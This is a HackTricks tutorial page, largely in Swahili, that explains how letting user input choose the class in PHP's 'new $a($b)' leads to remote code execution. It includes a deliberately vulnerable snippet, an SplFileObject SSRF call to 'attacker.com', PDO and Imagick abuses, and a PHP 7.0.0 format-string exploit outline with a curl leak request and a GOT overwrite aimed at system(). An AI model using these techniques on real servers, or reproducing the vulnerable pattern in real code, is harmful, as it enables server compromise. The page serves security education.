PHP - RCE abusing object creation: new $_GET"a"
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
This is basically a summary of https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Utangulizi
Uundaji wa vitu vipya chochote, kama new $_GET["a"]($_GET["a"])
, unaweza kusababisha Remote Code Execution (RCE), kama ilivyoelezwa katika writeup. Hati hii inaonyesha mbinu mbalimbali za kufikia RCE.
RCE kupitia Custom Classes au Autoloading
Muundo new $a($b)
unatumika kuanzisha object ambapo $a
inawakilisha jina la darasa na $b
ni hoja ya kwanza inayopitishwa kwa constructor. Vigezo hivi vinaweza kupatikana kutoka kwa input za mtumiaji kama GET/POST, ambapo vinaweza kuwa strings au arrays, au kutoka JSON, ambapo vinaweza kuonyesha kama aina nyingine.
Consider the code snippet below:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Katika tukio hili, kuweka $a
kuwa App
au App2
na $b
kuwa amri ya mfumo (kwa mfano, uname -a
) husababisha utekelezaji wa amri hiyo.
Autoloading functions zinaweza kutumiwa ikiwa hakuna classes kama hizo zinazopatikana moja kwa moja. Kazi hizi zinapakia classes kutoka kwa faili wanapohitajika na zimetangazwa kwa kutumia spl_autoload_register
au __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Tabia ya autoloading hubadilika kulingana na matoleo ya PHP, ikitoa fursa tofauti za RCE.
RCE kupitia madarasa yaliyojengwa ndani ya PHP
Ikiwa hakuna madarasa maalum au autoloaders, madarasa ya ndani ya PHP yanaweza kutosha kwa RCE. Idadi ya madarasa haya ni kati ya 100 hadi 200, kulingana na toleo la PHP na extensions. Yanaweza kuorodheshwa kwa kutumia get_declared_classes()
.
Vianzaji vinavyovutia vinaweza kutambulika kupitia reflection API, kama inavyoonyeshwa katika mfano ufuatao na kiungo https://3v4l.org/2JEGF.
RCE kupitia mbinu maalum ni pamoja na:
SSRF + Phar Deserialization
Darasa la SplFileObject
linawezesha SSRF kupitia constructor yake, likiruhusu muunganisho kwa URL yoyote:
new SplFileObject('http://attacker.com/');
SSRF inaweza kusababisha deserialization attacks katika matoleo ya PHP kabla ya 8.0 kwa kutumia Phar protocol.
Exploiting PDOs
Konstrukta ya darasa la PDO inaruhusu muunganisho na hifadhidata kupitia DSN strings, ambayo inaweza kuwezesha uundaji wa faili au mwingiliano mwingine:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Toleo za PHP hadi 5.3.22 na 5.4.12 zilikuwa nyembamba kwa mashambulio ya XXE kupitia SoapClient
na SimpleXMLElement
constructors, kutegemea toleo la libxml2.
RCE via Imagick Extension
Katika uchambuzi wa project's dependencies, iligunduliwa kwamba Imagick inaweza kutumika kwa command execution kwa kuanzisha vitu vipya. Hii inatoa fursa ya kutumia udhaifu uliopo.
VID parser
Uwezo wa VID parser wa kuandika yaliyomo kwa njia yoyote iliyotajwa kwenye filesystem uligunduliwa. Hii inaweza kusababisha kuwekwa kwa PHP shell katika saraka inayoweza kufikiwa na wavuti, ikifanikisha Remote Code Execution (RCE).
VID Parser + File Upload
Imetajwa kwamba PHP huhifadhi kwa muda uploaded files katika /tmp/phpXXXXXX
. VID parser katika Imagick, ikitumia protocol ya msl, inaweza kushughulikia wildcards katika njia za faili, na hivyo kuwezesha kuhamisha faili la muda hadi mahali kilichochaguliwa. Njia hii inatoa mbinu nyingine ya kupata arbitrary file writing ndani ya filesystem.
PHP Crash + Brute Force
Njia iliyofafanuliwa katika original writeup inahusisha kupakia faili zinazosababisha server kuanguka kabla ya kufutwa. Kwa brute-forcing jina la faili la muda, inakuwa inawezekana kwa Imagick kutekeleza arbitrary PHP code. Hata hivyo, mbinu hii ilionekana kuwa ya ufanisi tu katika toleo la zamani la ImageMagick.
Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Wakati user input inadhibiti jina la class (mfano, new $_GET['model']()
), PHP 7.0.0 ilileta bug ya muda wakati wa refactor ya Throwable
ambapo engine ilikosea kut扱 treat jina la class kama printf format string wakati wa utatuzi. Hii inaruhusu printf-style primitives ndani ya PHP: leaks na %p
, write-count control kwa width specifiers, na arbitrary writes na %n
dhidi ya in-process pointers (kwa mfano, GOT entries kwenye ELF builds).
Mfano mdogo wa kuonyesha udhaifu:
<?php
$model = $_GET['model'];
$object = new $model();
Exploitation outline (from the reference):
- Leak addresses via
%p
katika jina la darasa ili kupata lengo linaloweza kuandikwa:
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
- Tumia positional parameters na width specifiers kuweka idadi halisi ya byte, kisha
%n
kuandika thamani hiyo kwa anwani inayofikiwa kwenye stack, ukilenga slot ya GOT (mfano,free
) ili kuifanyia partial overwrite kuelekeasystem
. - Sababisha function iliyotekwa kwa kupitisha jina la darasa linalojumuisha shell pipe ili kufikia
system("id")
.
Notes:
- Inafanya kazi tu kwenye PHP 7.0.0 (Bug #71105); imerekebishwa katika matoleo yafuatayo. Ukali: ya juu ikiwa kuna uwezo wa kuanzisha darasa lolote kwa hiari.
- Typical payloads huunganisha
%p
nyingi kutembea stack, kisha%.<width>d%<pos>$n
kupata partial overwrite.
References
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- The Art of PHP: CTF‑born exploits and techniques
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.